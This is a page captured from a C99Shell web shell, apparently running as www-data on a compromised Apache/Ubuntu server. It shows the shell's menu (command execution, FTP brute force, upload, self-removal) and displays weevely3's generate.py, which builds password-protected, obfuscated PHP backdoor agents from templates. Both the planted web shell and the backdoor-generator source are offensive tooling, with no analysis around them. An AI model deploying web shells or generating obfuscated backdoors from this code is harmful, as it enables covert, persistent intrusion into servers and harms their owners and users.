!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/weevely3/src/weevely/core/   drwxr-xr-x
Free 13.18 GB of 57.97 GB (22.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     generate.py (1.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import base64
import os
import sys

from mako.template import Template

from . import messages
from .config import agent_templates_folder_path
from .config import obfuscators_templates_folder_path
from .weexceptions import FatalException


def generate(password, obfuscator="phar", agent="obfpost_php"):
    obfuscator_path = os.path.join(obfuscators_templates_folder_path, obfuscator + ".tpl")
    agent_path = os.path.join(agent_templates_folder_path, agent + ".tpl")

    for path in (obfuscator_path, agent_path):
        if not os.path.isfile(path):
            raise FatalException(messages.generic.file_s_not_found % path)

    obfuscator_template = Template(filename=obfuscator_path)

    try:
        with open(agent_path) as templatefile:
            agent = Template(templatefile.read()).render(password=password).encode("utf-8")

    except Exception as e:
        raise FatalException(messages.generate.error_agent_template_s_s % (agent_path, str(e)))

    try:
        obfuscated = obfuscator_template.render(agent=agent)
    except Exception as e:
        raise FatalException(messages.generate.error_obfuscator_template_s_s % (obfuscator_path, str(e)))

    return obfuscated


def save_generated(obfuscated, output):
    b64 = obfuscated[:4] == "b64:"
    final = base64.b64decode(obfuscated[4:]) if b64 else obfuscated.encode("utf-8")
    try:
        if output == "-":
            sys.stdout.buffer.write(final)
        else:
            with open(output, "wb") as outfile:
                outfile.write(final)
    except Exception as e:
        raise FatalException(messages.generic.error_creating_file_s_s % (output, e))

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--